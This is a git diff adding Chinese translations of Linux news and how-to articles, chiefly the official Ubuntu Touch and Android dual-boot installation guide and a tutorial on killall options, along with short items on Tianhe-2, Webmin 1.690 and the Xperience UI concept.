+ +via: http://www.omgubuntu.co.uk/2014/04/ubuntu-fixes-security-flaw-trusty-login-screen + +译者:[linuhap](https://github.com/linuhap) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://bugs.launchpad.net/ubuntu/+source/unity/+bug/1313885 +[2]:https://launchpad.net/ubuntu/trusty/+source/unity/7.2.0+14.04.20140423-0ubuntu1.1 +[3]:https://www.youtube.com/watch?v=d4UUB0sI5Fc +[4]:https://bugs.launchpad.net/ubuntu/+source/unity/+bug/1308572 +[5]:https://bugs.launchpad.net/ubuntu/trusty/+source/unity/+bug/1314247 \ No newline at end of file diff --git a/published/201405/Ubuntu Is Now Running on World's Fastest Supercomputer.md b/published/201405/Ubuntu Is Now Running on World's Fastest Supercomputer.md new file mode 100644 index 0000000000..dd8dc3cdd3 --- /dev/null +++ b/published/201405/Ubuntu Is Now Running on World's Fastest Supercomputer.md @@ -0,0 +1,24 @@ +Ubuntu现在运行在世界最快超级计算机上 +========================================================================= + +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-Is-Now-Running-on-World-s-Fastest-Supercomputer-442733-2.jpg) + +**Canonical公司意图创建最常用的Linux桌面发行版,然而它也成为了最成功的服务器操作系统之一。事实上,Ubuntu Server, Ubuntu Openstack 和 Ubuntu的编制工具Juju,正在运行在世界上最强的超级计算机上。** + +现在,世界上最强大的超级计算机是天河二号,它在中国的广东省。据它的制造者介绍,这些服务器使用Intel Xeon处理器、Intel Xeon Phi协同处理器,它有每秒160Gb的传输速度用于两个节点之间超高速传输。从2013年以来它一直保持着最强记录。 + +“Ubuntu OpenStack运行在256个高性能节点上,而且在接下来的数月将会增长至超过6400个节点。这些节点将能够提供给广东政府部门和其他国防科技大学的合作伙伴们使用,用于进行分析、人口普查以及运行电子政务应用程序。” + +“OpenStack和Ubuntu的编制工具Juju都将运行在天河二号上,使国防科技大学的合作伙伴和联盟机构能够快速部署和管理高性能云环境”官方的[通告][1]中这样写道。 + +Canonical公司正在努力推动中国市场,并且他们已经正在尝试用Ubuntu Kylin覆盖桌面生态系统,正当微软宣布Windows XP生命终结的同时,它抓住了一个很好的时机。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Ubuntu-Is-Now-Running-on-World-s-Fastest-Supercomputer-442733.shtml + +译者:[linuhap](https://github.com/linuhap) 校对:[reinoir](https://github.com/reinoir) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://insights.ubuntu.com/2014/05/14/nudt-and-canonical-bring-openstack-to-worlds-fastest-supercomputer/ \ No newline at end of file diff --git a/published/201405/Ubuntu Touch and Android Dual Boot Installation.md b/published/201405/Ubuntu Touch and Android Dual Boot Installation.md new file mode 100644 index 0000000000..175b466f58 --- /dev/null +++ b/published/201405/Ubuntu Touch and Android Dual Boot Installation.md @@ -0,0 +1,352 @@ +Ubuntu Touch 和 Android 双系统安装官方指南 +====================================== + +(译注:本文译自[Ubuntu官方维基][0]) + +Ubuntu 双系统安装器是作为技术预览版本发布给开发者的,可以使得开发者同时在一台手机上安装 Ubuntu 系统和 Android 系统。该软件现阶段或最终的目标用户并非普通用户。开发者应该熟悉 Ubuntu 和 Android 系统的分区布局并且在出现问题的时候有能力手动刷回分区。 + +Ubuntu 双系统安装器是一些工程师花了一点时间内做出的一个内部臭鼬项目(译注:管理层不知的研究项目)。由于项目进展良好,所以决定向开发者社区发布预览版以供大家测试、学习或者完善。 + +双系统启动不是常规 Ubuntu 发布版本中的一部分。 + +## 安装后可实现以下功能 + +- 一台可以在全功能的 Android 和 Ubuntu 系统之间切换的手机 +- Android 系统上:一个 Ubuntu Installer 应用,用来安装 Ubuntu 系统和切换到 Ubuntu 系统 +- Android 系统上:一个 SuperUser 超级用户管理器,用来为 Ubuntu 安装器授予权限 +- Ubuntu 系统上:一个 Ubuntu Dual Boot 应用,用来启动到 Android 系统 +- 尚不支持在 Ubuntu 系统下的更新,但可以通过 Android 下的应用程序来进行系统更新 + +## 必要条件 + +安装双系统启动,你需要: + +- **一台Nexus 4 手机** (其他 [支持的 Nexus 手机][1] 理论上也能安装,但是现在还没有经过测试。) +- 手机安装 **Android 4.4.2 或者更高的系统版本** ,基于原厂固件或者 CyanogenMod 和 AOSP 的固件。 +- 手机上需要有 **2.7GB 剩余存储空间** 用来安装Ubuntu。 +- 桌面电脑上需要运行 **ADB 工具** +- 手机应该 **解锁 bootloader 并打开 USB 调试选项**。按照安装步骤1到3来实现。如果你的手机已经解锁过 bootloader 并且打开了 USB 调试选项了,这一步可以[跳过>][2]。 + + +### 步骤 1 - 桌面电脑设置 + +为了连接手机并刷机,在电脑桌面上依照以下几步操作。 + +**设置Touch开发者预览工具(Touch Developer Preview Tools)的 PPA** + +这些 PPA 是一个迷你库,其中包含安装过程中需要的一些额外软件。以下描述如何去启用和使用它。 + +这些 PPA 的包含工具和依赖库支持各个 Ubuntu 发行版,包括 12.04, 12.10, 13.04, 13.10 和 14.04等。 将以下的源地址列表加入 `/etc/apt/sources.list` 文件中来添加 Ubuntu Touch PPA。 + +在你的机器上按 `Ctrl+Alt+T` 开启终端窗口,运行以下命令。 + + sudo add-apt-repository ppa:phablet-team/tools + +在 Ubuntu 12.04系统上,还需要运行以下命令: + + sudo add-apt-repository ppa:ubuntu-sdk-team/ppa + +然后运行: + + sudo apt-get update + sudo apt-get install ubuntu-device-flash + + +### 步骤 1.5 - 备份Android(可选) + +- 确认开启开发者模式。点击 `设置 -> 关于手机 -> 版本号` (点击七次) +- 确认开启 USB 调试模式。点击 `设置 -> 开发者选项 -> USB 调试` +- 在你的电脑上执行(译注:自然这是在Linux下,如Ubuntu里面执行的) + + $ adb backup -apk -shared -all + +这样就将你的操作系统、应用程序和所有的数据备份为 backup.ab 文件了。以后在重新刷回 android 系统(或root、解锁等)的时候可以使用 `$ adb restore backup.ab` 命令恢复你所有的数据。 + +### 步骤 2 - 手机解锁 + +如果手机已经解锁,那么跳过步骤 3。以下几步将擦除手机上所有的个人数据。 + +1. 关机,同时按住手机的开机键+音量上+音量下开机。 +2. 手机将开机到bootloader界面。 +3. 使用 USB 数据线将手机和电脑连接。 +4. 在电脑上按 `Ctrl+Alt+T` 打开一个终端。 键入 `sudo fastboot oem unlock` 并回车。 +5. 在手机上,接受解锁条款。 +6. 按开手机开机键开机。(屏幕上 Start 的箭头所向) + +**恢复手机出厂设置** + +如果解锁 bootloader 后不断重启的话... 可以使用以下方法解决: + +1. 在重启的过程中,同时按住 电源键+音量上+音量下 使得手机重返 fastboot 模式。 +2. 在 fastboot 模式下,使用音量键选择到 Recovery 选项后,按下开机键选中。 +3. 在 Recovery 模式下(Android 机器人 背景是个红色三角) 同时按住音量上键和开机键进入stock recovery 模式。再次强调,不要按住按钮不放,只是同时按他们。保证你按了正确的音量按钮。应该是右边的音量按钮的向上键。 +4. 一旦进入 Recovery 模式,恢复出厂设置并清空数据,然后重启平板,现在应该可以看到欢迎屏幕了。 + +### 步骤 3 - 初始化手机指南 + +按照以下步骤初始化手机 + +1. 如果没有启动,启动手机进 Android 系统 +2. 启用手机的 USB 调试模式 + - 在冰激凌三明治 (版本 4.0) 上打开 USB 调试(`设置 > 系统 > 开发者选项 > USB 调试`) + - 在果冻豆 (版本 4.1 和 4.2) 上打开 USB 调试,需要进 `设置, 关于 [手机|平板]` 菜单且点击版本号7次才能进入开发者选项。 + - 在 4.2.2, (`设置 > 关于` > 点击版本号7次激活开发者选项菜单) + - 在其他版本的 Android 系统中,你通过 `设置 > 开发者选项 > USB 调试`来启用 USB 调试模式。您也需要接受手机上的主机密钥。 + - 在工作站中 -> `adb kill-server; adb start-server` +3. 将手机和电脑通过USB数据线连接起来。 + - 根据 Android 版本的不同,会弹出一个主机密匙的框,需要确认才能和电脑通信。 + - 注意,`adb devices` 命令不应该显示为手机 'offline' 。如果显示手机离线,在超级用户模式下运行adb(`sudo adb kill-server; sudo adb start-server`),然后将手机再次连接。 + - 在某些情况下,手机仍然显示为离线,如果USB连接模式为 'MTP' (一些手机或版本的Android的默认模式)的话,就不会弹出主机密匙提示对话框。取消所有的USB连接模式选项的勾选(`设置 -> 存储 -> 菜单 -> USB连接 -> MTP, PTP`)也许能解决adb连接问题。 +4. 记下现有手机镜像版本号,Android 系统,恢复系统时使用。可以使用 `设置 > 关于手机 > 版本号码` 查看版本号。 + +最新版的 Nexus 10s 开启开发者模式后并没有完全启动。如果是这种情况的话,启动到 bootloader 后运行 "`fastboot -w`" 然后进入下一步。 + +## 双系统启动安装和更新说明 + +双系统新安装和升级在这部分过程实际上是相同的。 + +### 在 Android 系统中安装 Ubuntu 安装器 + +注意:如果手机中有一个以前版本的 Ubuntu 双启动,更新前请首先使用 Android 应用程序卸载掉 Ubuntu 系统。推荐保存用户数据,只卸载掉基本的系统。 + +1. 在电脑上下载双系统安装脚本到你的家目录。http://humpolec.ubuntu.com/latest/dualboot.sh +2. 使用 `Ctrl+Alt+T` 组合键打开电脑终端。 +3. 运行以下命令赋予安装脚本可执行权限。 + + chmod +x dualboot.sh + +4. 保证你的手机 + - 正常启动进入 Android 用户界面 + - 启用 USB 调试选项 + - 已经解锁了 bootloader +5. 使用 USB 数据线连接手机和电脑 +6. 在终端里运行以下命令安装双系统启动: + + ./dualboot.sh + +安装完成后,手机会重启数次。完成后,系统会启动到 Android 系统,你可以在手机的应用程序里面找到双启动应用程序 (“Ubuntu Dual Boot”) 。 + +或者,可以使用安装脚本的另一个替代方法,[可以参考安装手册 >][3]。 + +现在按照以下说明在 Android 下安装 Ubuntu。 + +## Android 下安装 Ubuntu + +注意:Ubuntu 安装需要手机上具有2.7GB以上的剩余内存空间。 + +1. 如果需要,也可以在手机和电脑USB连接状态下,终端运行以下命令来释放空间。(接受手机上的授权询问) + + adb shell "su sh rm -rf /cache/*" + +2. 在手机上,点击 apps 按钮打开 app 列表 +3. 查看列表找到 **Ubuntu Dual Boot** 图标并启动它 +4. 应用程序启动后按 **Choose channel to install** 并选择一个频道下载(推荐 **utopic** 频道),请确保您勾选了“bootstrap”选项 +5. 下载完成后需要授权 SU 权限给应用程序。提示授权的时候,选择 **Grant** 按钮 +6. 按 **Reboot to Ubuntu** 按钮重启手机进入Ubuntu +7. 标准手机重启过程后会启动到Android系统中 + +注意: + +- Ubuntu 安装器支持所有手机平板刷机工具(phablet-flash)支持的频道 +- 选择了一个 Ubuntu 频道后,**bootstrap** 复选框可以让你选择清空 Ubuntu 的用户数据,如果不选中的话,用户数据将一直保留。第一次安装的话,选不选是没什么区别的 +- 选中一个 Ubuntu 频道后,取消 **latest version** 复选框后可以选择一个特定版本号的镜像,否则,默认安装最新的镜像。 +- 如果在安装过程下载镜像过程中,手机锁屏或者 Ubuntu 安装器在后台运行的话,安装按钮会变成 **Resume install** (恢复安装)。点击这个按钮会恢复到超级权限提示前的状态。 + +## 其他需要注意的 + +### 更新到最新的 Ubuntu 镜像 + +根据双启动的经验: + +- 安装新版本的 Ubuntu 需要使用 Android 上的双启动应用程序 +- 下载新版本的 Ubuntu 可以在 Android 或者 Ubuntu 下进行 + +这实际上意味着可以有两种不同的方式更新 Ubuntu 镜像(译注:此处与前文不一致,究竟是否可在Ubuntu下更新,译者没有做过实验,可能已经支持了。): + +- **如果在android系统下**,使用双启动应用程序更新 Ubuntu ,需要选择菜单选项中的 "Uninstall Ubuntu" ,然后应用程序会询问你是否保留 Ubuntu 用户数据。如果你想保留数据、通讯录、应用程序、图片、背景设置等,这些数据将会完整保留。另外,每次新版本的 Ubuntu 发布后,将会收到 Android 通知: + - 对于稳定频道,应用每2天推送一次更新通知 + - 对于推荐频道,应用每10小时推送一次更新通知 +- **如果你使用的是 Ubuntu**, 使用系统设置中的标准更新机制下载新版镜像,但是不要选择安装,下载完毕后,重新启动到 Android 系统中,启动双启动应用程序,程序会恢复更新。完成后,你可以再次切换到 Ubuntu系统中。 + +要升级 Ubuntu 到最新版本,在 android 下的 Ubuntu 双启动应用程序中,卸载 Ubuntu 后,可以按照同样的安装步骤去下载新版本的 Ubuntu。 + +### 双系统安装器参考命令 + +大多数情况下,不带参数运行自动模式安装脚本就足够了。 + +dualboot.sh + +- 自动模式:监测[超级用户][6]应用程序是否需要安装,并更新双系统安装应用程序。 + +dualboot.sh full + +- 完整模式:安装[超级用户][6]和双系统启动 Android 应用程序 + +dualboot.sh update + +- 更新模式:安装或者更新 Android 下的双系统启动应用程序 + +dualboot.sh channel $CHANNEL + +- 边载(Sideload)模式:通过指定的 Ubuntu 频道 ($CHANNEL) 下载最新的镜像到手机。命令启动 android 双系统应用程序并继续使用边载文件进行安装。 + +dualboot.sh push ubuntu.tar.xz device.tar.xz version.tar.xz + +- 边载推送模式:将下载参数推送给双系统启动应用程序,作为参数启动双系统安装器进行安装。 + +多个手机同时连到电脑上的时候,脚本还提供指定手机ID 的参数。手机ID为脚本的第一个参数。如果不指定手机ID的话,默认为第一个连接的手机。 + + dualboot.sh channel devel-customized + +### 使用自定义镜像服务器 + +如果你的手机不在官方支持列表中,需要使用第三方移植镜像服务器,你可以将自定义镜像服务器地址作为参数来使用双启动应用程序。这么办的话,打开终端,连接手机到电脑,运行以下命令(替换 $CUSTOM\_SERVER\_URL 为自定义服务器地址): + + adb shell "su sh 'cd /data/data/com.canonical.ubuntu.installer/files/ && echo $CUSTOM_SERVER_URL > custom_server && chmod 777 custom_server'" + +下次启动双启动应用程序的时候,默认将使用自定义服务器地址而不是官方地址了。 + +## 异常处理 + +如果出现问题,安装双启动后无法进入 Android 和 Ubuntu 系统的话,你可以使用原始启动和恢复镜像恢复手机到最初状态。只有 recovery 分区被双启动修改了,当然你可以刷回原有的启动分区。 + +1. 下载手机的 Android 固件到你的PC上。 +2. 使用快捷键 `Ctrl+Alt+T` 打开终端 +3. 解压固件 tar 包并 cd 到其目录 +4. 运行以下命令以重启手机到 bootloader + + adb reboot bootloader + +5. 进入 bootloader 后,运行以下命令刷回启动分区: + + fastboot flash boot boot.img + +6. 不要退出 bootloader ,运行以下命令刷回 recovery 分区: + + fastboot flash recovery recovery.img + +7. 刷机完毕后,重启你的手机应该就可以进入 Android 系统了: + + fastboot reboot + +## 致谢 + +双启动项目和其他 Ubuntu 项目一样都是开源的,你可以参与此项目,使得他更加完美! + +- [Bug 报告 >][4] +- [贡献代码 >][5] + +## FAQ + +### 双启动如何工作? + +基于 Android 的手机有一系列不同用途的分区。这些分区包括 **/boot**, **/recovery**, **/system** 和 **/data** 等。 + +- **boot** 分区是 bootloader 正常启动的时候载入的。这个分区的启动镜像是由一个内核和ramdisk程序组成的。简而言之,bootloader 解压启动镜像,创建一个内存盘后将镜像考入,最后使用 **初始化进程** 启动内核。 +- **recovery** 分区包含有恢复镜像,它只是一个不同的启动镜像。它也含有一个内核和内存盘程序,但是初始化可执行程序被换成了内存盘中的二进制的 recovery 程序。 +- **system** 分区含有所有的只读系统文件 (除了内存盘中的)供初始化进程载入。 +- **data** 分区是供系统写入用户数据的可读写分区。 + +Ubuntu 以稍微不同的方式使用这些分区 + +- **boot** 和 **recovery** 分区的作用和 Android 中一样。 +- **system 镜像** 含有在 [LXC][8] 中执行的 Android 部分的程序。 +- **data** 分区下的 **/data/ubuntu/** 目录含有Ubuntu系统 + +为了保证用户可以返回 Android 原来的系统,Android 系统的启动镜像是不允许修改的,因为原始内核必须保存。**所以使用 recovery 分区去启动Ubuntu** + +### 双启动可以运行在那个版本的 Android 系统下? + +- 普通 Android 或 AOSP 4.4.2 或更高版本。 +- CyanogenMod (基于 Android 4.4.2 或更高版本). + +### 双启动可以运行在那些手机上? + +双启动通过测试可以运行在以下手机中: + +- Nexus 4 +- Nexus 7 +- Nexus 10 + +### 双启动支持那些已发布版本的 Ubuntu? + +双启动支持的所有手机平板刷机工具(phablet-flash)支持的系统。 + +### Android 和 Ubuntu 如何共享用户数据分区? + +用户数据分区也放在 Ubuntu 系统镜像 /data/system.img, 大约有2GB。 + +Ubuntu swap 文件在用户数据分区 /data/SWAP.img (大约540MB)。 + +Ubuntu 的用户和系统数据也可以在以下目录找到: + +- /data/user-data +- /data/system-data + +Android 数据分区的使用方式不变。 + +### 安装双启动后是否无法启动进入 recovery? + +安装双启动后,recovery 分区被 Ubuntu 启动镜像占用。这意味着启动到 recovery 模式下,就启动了Ubuntu 。 + +使用 recovery 的功能会在未来发布。不过当卸载掉 Ubuntu 镜像后,Ubuntu Install 应用会恢复原始的 recovery 分区(普通的 Android 或 CWM)。 + +### 如果用双启动替换掉 recovery 分区的话,是否还可以更新 Android 系统? + +可以,使用双启动应用程序中的 "准备更新安卓" 选项。这会将原始 Android recovery 分区恢复,为 Android 系统更新做准备。这显然会删除 recovery 分区中安装的 Ubuntu 系统,但是使用双系统应用程序可以在 Android 系统更新后很容易重新安装。 + +任何情况下,你都可以卸载双启动并恢复原始的 recovery 分区。 + +### 我可以卸载双启动吗? + +可以,使用 Android 版本双启动应用程序卸载 Ubuntu 后,原有的 recovery 分区数据会恢复到安装前的状态。 + +卸载 Ubuntu 的同时也会删除 Ubuntu 系统镜像和交换文件。如果需要,Ubuntu 用户数据也可以被删除。 + +### 双启动应用程序安装了一个超级用户应用,我可以使用一个第三方的超级用户应用代替它吗? + +当然可以了!提供的 [超级用户][6] 应用只是为了那些没有安装它的用户的。 + +然而,需要注意一点:项目测试中只测试使用了来自 [CyanogenMod][7] 版本或者 dualboot.sh 脚本安装的超级用户应用。但是只要你使用和测试中用的类似的应用的话,一般也不会有问题的。 + +### 安装 Ubuntu 中,我是否可以删除用户数据后切换频道? + +可以,但是有些东西没有测试过,所以有些应用也许无法正常工作。这个问题也存在于切换版本的情况。 + +### 我能否设置默认启动 Ubuntu 而将 Android 启动移动到 recovery 分区? + +目前为止交换默认启动操作系统是不可行的。但是如果有需求的话我们会想办法支持的。 + +### 为什么使用 recovery 分区启动 Ubuntu 系统而不是使用一个 Android 和 Ubuntu 结合的镜像来启动? + +最开始设计双启动的时候原则就是不和某个特定版本和类型的 Android 系统捆绑,留给用户自己选择的权利。所以就没有改动 Android 启动镜像和内核。 + +最后我们选择利用 recovery 分区启动 Ubuntu,并在需要的时候就恢复到其原始状态。 + +### 我已经安装了一个 CWM recovery 而且知道如何使用,我可否使用 zip 文件手动刷机? + +绝对可以,我们提供的 dualboot.sh 是为了使得安装应用和 recovery 更容易。如果你想手动安装recovery 也是可以的。参看 dualboot.sh 脚本的源码来操作。 + +### 为什么 Ubuntu 安装器需要使用 recovery 安装到 system 分区里? + +Ubuntu 安装器需要安装为 Android (预置的)系统应用。 和用户安装在用户分区的应用不一样,系统应用始终活动在系统分区中,保证可以获取第三方软件可以获取的的最高的权限。 + +其实 Ubuntu 安装器需要获取的权限只有两个:**缓存分区写入权限**,用来下载 Ubuntu 安装文件;和**电源管理**,用来重启系统。 + +-------------------------------------------------------------------------------- + +via: https://wiki.ubuntu.com/Touch/DualBootInstallation + +译者:[shipsw](https://github.com/shipsw) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[0]:https://wiki.ubuntu.com/Touch/DualBootInstallation +[1]:https://wiki.ubuntu.com/Touch/Devices#Working_with_phablet-flash +[2]:#Installation +[3]:#DualBootInstallerReference +[4]:https://bugs.launchpad.net/humpolec/+filebug +[5]:https://code.launchpad.net/humpolec +[6]:https://wiki.ubuntu.com/SuperUser +[7]:https://wiki.ubuntu.com/CyanogenMod +[8]:http://www.ibm.com/developerworks/cn/linux/l-lxc-containers/ diff --git a/published/201405/Webmin 1.690 Arrives with Ubuntu 14.04 LTS Optimization.md b/published/201405/Webmin 1.690 Arrives with Ubuntu 14.04 LTS Optimization.md new file mode 100644 index 0000000000..1c1d63e81a --- /dev/null +++ b/published/201405/Webmin 1.690 Arrives with Ubuntu 14.04 LTS Optimization.md @@ -0,0 +1,23 @@ +Webmin 1.690 更新,针对 Ubuntu 14.04 LTS优化 +================================================================================ +![](http://i1-news.softpedia-static.com/images/news2/Webmin-1-690-Arrives-with-Ubuntu-14-04-LTS-Optimization-443451-2.jpg) + +**Webmin是一个基于web接口面向Unix系统管理员的工具,最新版本1.690 已可下载** + +在任何新式浏览器下运行webmin,用户都可以设置各种配置,如用户账号、apache服务器、DNS、文件共享以及更多。Webmin的开发者已经对这个软件做了一些例行更新。最新的版本不是一个大版本,但是仍有一些有用的修复。 + +据开发者所言,加入了一些对于XSS攻击的安全修复、增加了用于阻止多次登录系统失败的IP地址的Fail2Ban模块,Squid模块中的url_rewrite_children指令已经修复为了支持所有的进程数量选项,并且对于Ubuntu 14.04的支持已经改善。 + +还有一些安全问题,如会被未信任的Webmin用户在PHP配置和Webalizer模块中利用的安全漏洞,java applet的文件管理模块的签名,UI库更新等。 + +完整的修改和改进列表可以在官方[声明][1]中找到。你现在可以在官网中下载Webmin 1.690。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Webmin-1-690-Arrives-with-Ubuntu-14-04-LTS-Optimization-443451.shtml + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.webmin.com/changes.html diff --git a/published/201405/What Options you use for Linux killall Command -- I have 5 Options.md b/published/201405/What Options you use for Linux killall Command -- I have 5 Options.md new file mode 100644 index 0000000000..8f61eac4ee --- /dev/null +++ b/published/201405/What Options you use for Linux killall Command -- I have 5 Options.md @@ -0,0 +1,165 @@ +五个你可能不了解的killall选项 +================================================================================ +Linux的命令行提供很多命令来杀死进程。比如,你可以向“kill”命传递一个PID来杀死进程;“pkill”命令使用一个正则表达式作为输入,所以和该模式匹配的进程都被杀死。 + +但是还有一个命令叫“killall”,默认情况下,它精确地匹配参数名,然后杀死匹配进程。在这篇文章中,我们将讨论有关这个命令的实际应用。 + +![](http://linoxide.com/wp-content/uploads/2014/02/killall-command.jpg) + +### Linux 的 killall 命令 ### + +killall命令可以用来给一个特定的进程发送一个信号。这个信号默认情况下是SIGTERM,但也可以由killall命令使用参数来指定其它信号。 + +现在让我们通过一些实际的例子来看看这个命令的实际用法。 + +#### 1. 基本示例 #### + +在这个例子中,我们将使用killall来杀死特定进程。假如,有两个开头字符相同的进程: + + $ ps -aef | grep “test” + himanshu 3969 2811 0 14:14 pts/0 00:00:00 ./test + himanshu 3970 2811 0 14:14 pts/0 00:00:00 ./test_again + +如何杀死“test_again”进程呢? + + $ killall test_again + [2]+ Terminated ./test_again + +如你所见,killall命令终止了“test_again”进程。你可以通过ps命令来确认这个事实: + + $ ps -aef | grep “test” + himanshu 3969 2811 0 14:14 pts/0 00:00:00 ./test + +你可以观察到“test_again”没有被显示出来,因为它已经被杀死了。 + +#### 2. 使用 -I 选项忽略大小写 #### + +默认情况下,killall命令是大小写敏感的。例如: + + $ ps -aef | grep “test” + himanshu 4177 3161 0 14:54 pts/3 00:00:00 ./test + himanshu 4178 3161 0 14:54 pts/3 00:00:00 ./test_again + himanshu 4180 3161 0 14:54 pts/3 00:00:00 grep --color=auto test + + $ killall TEST + TEST: no process found + +你可以看到,killall命令找不到叫做“TEST”的进程,但是“test”进程是确确实实的在运行的。 + +来让killall命令忽略大小写,可以使用-I选项(大写i)。例如: + + $ killall -I TEST + [1]- Terminated ./test + +你可以观察到,现在你成功的终止了“test”进程。 + +#### 3. 使用 -i 选项交互式的终止进程 #### + +killall命令可以用来终止多个进程。 + + $ killall test test_again + [2]- Terminated ./test_again + [3]+ Terminated ./test + +但是,如果你想要killall交互式地来终止进程,你可以使用-i选项。 + +这里是例子: + + $ killall -i test test_again + Kill test(4201) ? (y/N) y + Kill test_again(4202) ? (y/N) y + [1]- Terminated ./test + [2]+ Terminated ./test_again + +你可以看到,用这种方式,在同时终止多个进程时,用户可以控制是否终止某一个进程。 + +#### 4. 使用 -q 选项关闭命令执行回显 #### + +有些时候,当killall找不到指定的进程时,它就会像下面这样输出错误信息。 + + $ killall TEST + TEST: no process found + +但是,当你想要killall执行地安安静静的话,你就可以使用-q选项: + + $ killall -q TEST + $ + +如你所见,-q选项被使用之后,killall命令的输出信息就被抑制了。 + +#### 5. 使用-l选项列出所有支持的信号(signal) #### + +如之前描述的一样,killall向进程发送信号。 + +你可以使用-s选项(后面跟一个信号名)来向一个进程发送特殊信号。 + +想要知道所有可以发送的信号,可以使用-l选项(小写L)来获取: + + $ killall -l + HUP INT QUIT ILL TRAP ABRT IOT BUS FPE KILL USR1 SEGV USR2 PIPE ALRM TERM + STKFLT CHLD CONT STOP TSTP TTIN TTOU URG XCPU XFSZ VTALRM PROF WINCH IO PWR SYS + UNUSED + +killall支持上面的所有信号。 + +看着这些信号的名字,可能你心里就会嘀咕:这些信号都是干什么的? + +译者注:使用下面的命令来获取所有信号的说明: + + $ man 7 signal + +### 我需要和大家讨论一件事情 ### + +killall命令的man说:假如进程的名字的长度小于等于15,默认情况下就会以完整名称匹配。 + +比如,假设有两个名字很长的进程: + + $ ps -aef | grep “test” + himanshu 4021 3161 0 14:27 pts/3 00:00:00 ./test_abcdefghij + himanshu 4035 3161 0 14:27 pts/3 00:00:00 ./test_abcdefgh + +第一个进程的名字有15个字符。现在,让我们试着使用killall杀死这个进程: + + $ killall test_abcdefghij + [1]- Terminated ./test_abcdefghij + +如你所见,killall命令成功杀死了这个进程。 + +假如,两个进程的名字都超过15个字符,根据man,killall将把两个进程全部杀死。比如: + + $ ps -aef | grep “test” + himanshu 4114 3161 0 14:40 pts/3 00:00:00 ./test_abcdefghijklmnopqrstuvwx + himanshu 4141 3161 0 14:46 pts/3 00:00:00 ./test_abcdefghijklmnopqrstuvwxyz + himanshu 4143 3161 0 14:46 pts/3 00:00:00 grep --color=auto test + +你可以观察到,两个进程的名字都超过15个字符。现在,当我使用killall试着杀死第二个进程时: + + $ killall test_abcdefghijklmnopqrstuvwxyz + [6]+ Terminated ./test_abcdefghijklmnopqrstuvwxyz + +它只杀死了指定的进程,另一个则没有被杀死。 + + $ ps -aef | grep “test” + himanshu 4114 3161 0 14:40 pts/3 00:00:00 ./test_abcdefghijklmnopqrstuvwx + himanshu 4146 3161 0 14:47 pts/3 00:00:00 grep --color=auto test + +我不太确定,是我进行的尝试中有不对的地方,还是这是killall的一个bug。假如你在评论中写上你的观点,我会非常感激。 + +顺便说一下,这是我机器上killall命令的版本信息: + + $ killall --version + killall (PSmisc) 22.20 + Copyright (C) 1993-2012 Werner Almesberger and Craig Small + + PSmisc comes with ABSOLUTELY NO WARRANTY. + This is free software, and you are welcome to redistribute it under + the terms of the GNU General Public License. + For more information about these matters, see the files named COPYING. + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-killall-my-options/ + +译者:[intermerlin](https://github.com/intermerlin) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201405/Xperience UI Concept Could Be the Most Beautiful Linux Desktop.md b/published/201405/Xperience UI Concept Could Be the Most Beautiful Linux Desktop.md new file mode 100644 index 0000000000..3fff8db914 --- /dev/null +++ b/published/201405/Xperience UI Concept Could Be the Most Beautiful Linux Desktop.md @@ -0,0 +1,55 @@ +Xperience UI 设计理念:优雅的 Linux 桌面设计欣赏 +================================================================================ +![](http://i1-news.softpedia-static.com/images/news2/Xperience-UI-Concept-Could-Be-the-Most-Beautiful-Linux-Desktop-430087-2.jpg) + +**Xperience UI 是一个基于 Nitrux 发行板的一个界面设计的概念作品,如果其开发能够完成,它将有可能成为当今最漂亮的桌面之一。** + +即使有些人很会折腾并使他们的桌面装扮得更帅些,但是大多数 Linux 桌面仍可以轻易的被社区里面的人们认出来。 +如今折腾的人有福利了,Nitrux Xperience UI 带来了相当华丽的设计理念。 + +Nitrux 的开发者们之前因其图标及一些其他设计而闻名,而如今这款桌面的界面设计质量几乎可以与现今我们能找到的任何的顶级设计相媲美。 + +这些设计或许会让大家想起一些来自 Elementary OS 的元素,但同时她也有着非常严谨而独特的风格。 +即使这些细节很难被观察到,我们仍可以从通知区域、锁屏、或是主面板感受到设计者对其的精雕细琢。 + +这些设计理念虽然看起来很倾向于触屏设备,她仍然可以完美的融入到一个桌面系统中。 + +也许我们只能寄予期望给今后的某个 Nitrus 麾下的发行板可以采用这个设计了。 + +即使今后没人会实现这个设计(虽然我们很大把握有人会去折腾),这个设计仍然证明了 Linux 的设计也可以从头到脚都远远超出所有其他的操作系统。 + +![](http://i1-news.softpedia-static.com/images/news2/Xperience-UI-Concept-Could-Be-the-Most-Beautiful-Linux-Desktop-430087-3.jpg) + +桌面 + +![](http://i1-news.softpedia-static.com/images/news2/Xperience-UI-Concept-Could-Be-the-Most-Beautiful-Linux-Desktop-430087-4.jpg) + +Mini 启动面板 - 应用程序 + +![](http://i1-news.softpedia-static.com/images/news2/Xperience-UI-Concept-Could-Be-the-Most-Beautiful-Linux-Desktop-430087-5.jpg) + +Mini 启动面板 - 通知区域 + +![](http://i1-news.softpedia-static.com/images/news2/Xperience-UI-Concept-Could-Be-the-Most-Beautiful-Linux-Desktop-430087-6.jpg) + +Mini 启动面板 - 最近的文档 + +![](http://i1-news.softpedia-static.com/images/news2/Xperience-UI-Concept-Could-Be-the-Most-Beautiful-Linux-Desktop-430087-7.jpg) + +Mini 启动面板 - 快速设置 + +![](http://i1-news.softpedia-static.com/images/news2/Xperience-UI-Concept-Could-Be-the-Most-Beautiful-Linux-Desktop-430087-8.jpg) + +Mini 启动面板 - 关机 + 